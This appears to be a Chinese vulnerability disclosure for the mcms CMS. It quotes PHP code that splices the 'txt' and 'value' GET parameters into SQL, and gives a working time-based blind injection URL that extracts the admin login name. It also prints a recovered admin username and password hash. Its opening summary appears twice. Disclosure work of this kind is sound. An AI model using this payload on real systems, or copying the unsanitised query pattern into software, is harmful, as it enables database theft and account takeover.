### 简要描述: mcms最新版SQL注入二枚打包(可出任意数据) ### 详细说明: 掌易科技的程序员反应相当快啊,确认漏洞当天就修复以后出新版本了,前面在wooyun提的几个漏洞新版的mcms做了相应的处理,发布了新版v_3.1.3.enterprise,再来研究研究。 注入一枚:/app/public/code.php?code_id=6977&txt=test&value=test(注意public文件夹是安装系统时取的名字)post中有两个参数,都存在过滤不严的问题。 Txt和value都存在注入问题,这里我们以txt为例来证明问题的存在。我们看看是如何注入的。 /app/public/code.php ``` function m__list(){ global $dbm,$result,$p,$C,$code_id,$T; $code_id=isset($_GET['code_id'])?intval($_GET['code_id']):0;//当前分类ID $_GET['txt']=isset($_GET['txt'])?trim($_GET['txt']):''; $_GET['value']=isset($_GET['value'])?trim($_GET['value']):''; $params = array(); //位置导航 $result['snav']=array(); if($code_id>0){ $result['snav']=$T->tree_father($code_id); } if(isset($_GET['code_id'])){ $where = " parent_code_id='$code_id' "; }else{ if($_GET['txt']=='' && $_GET['value']==''){ $where = " parent_code_id=0 "; }else{ $where = " 1=1 "; } } if($_GET['txt']!='') $where.=" and txt like '%{$_GET['txt']}%'"; if($_GET['value']!='') $where.=" and value like '%{$_GET['value']}%'";...
### 简要描述: mcms最新版SQL注入二枚打包(可出任意数据) ### 详细说明: 掌易科技的程序员反应相当快啊,确认漏洞当天就修复以后出新版本了,前面在wooyun提的几个漏洞新版的mcms做了相应的处理,发布了新版v_3.1.3.enterprise,再来研究研究。 注入一枚:/app/public/code.php?code_id=6977&txt=test&value=test(注意public文件夹是安装系统时取的名字)post中有两个参数,都存在过滤不严的问题。 Txt和value都存在注入问题,这里我们以txt为例来证明问题的存在。我们看看是如何注入的。 /app/public/code.php ``` function m__list(){ global $dbm,$result,$p,$C,$code_id,$T; $code_id=isset($_GET['code_id'])?intval($_GET['code_id']):0;//当前分类ID $_GET['txt']=isset($_GET['txt'])?trim($_GET['txt']):''; $_GET['value']=isset($_GET['value'])?trim($_GET['value']):''; $params = array(); //位置导航 $result['snav']=array(); if($code_id>0){ $result['snav']=$T->tree_father($code_id); } if(isset($_GET['code_id'])){ $where = " parent_code_id='$code_id' "; }else{ if($_GET['txt']=='' && $_GET['value']==''){ $where = " parent_code_id=0 "; }else{ $where = " 1=1 "; } } if($_GET['txt']!='') $where.=" and txt like '%{$_GET['txt']}%'"; if($_GET['value']!='') $where.=" and value like '%{$_GET['value']}%'"; $sql="select * from ".TB_PRE."code where $where order by corder asc"; $rs=$dbm->query($sql); $result['list']=$rs['list']; } ``` 由于该cms没有使用自定义的sqlxss()过滤,存在注入。 Payload:GET提交 ``` /app/public/code.php?code_id=6977&txt=%'/**/and(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))%23&value= ``` 因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图 [<img src="https://images.seebug.org/upload/201504/1123433191f38d45f382db9de952f2d20185f586.jpg" alt="错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/1123433191f38d45f382db9de952f2d20185f586.jpg) 若正确,延迟,如下图 [<img src="https://images.seebug.org/upload/201504/11234339abf7a3af80efaca8576e4ee70c022439.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/11234339abf7a3af80efaca8576e4ee70c022439.jpg) 按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72 ### 漏洞证明: 见 详细说明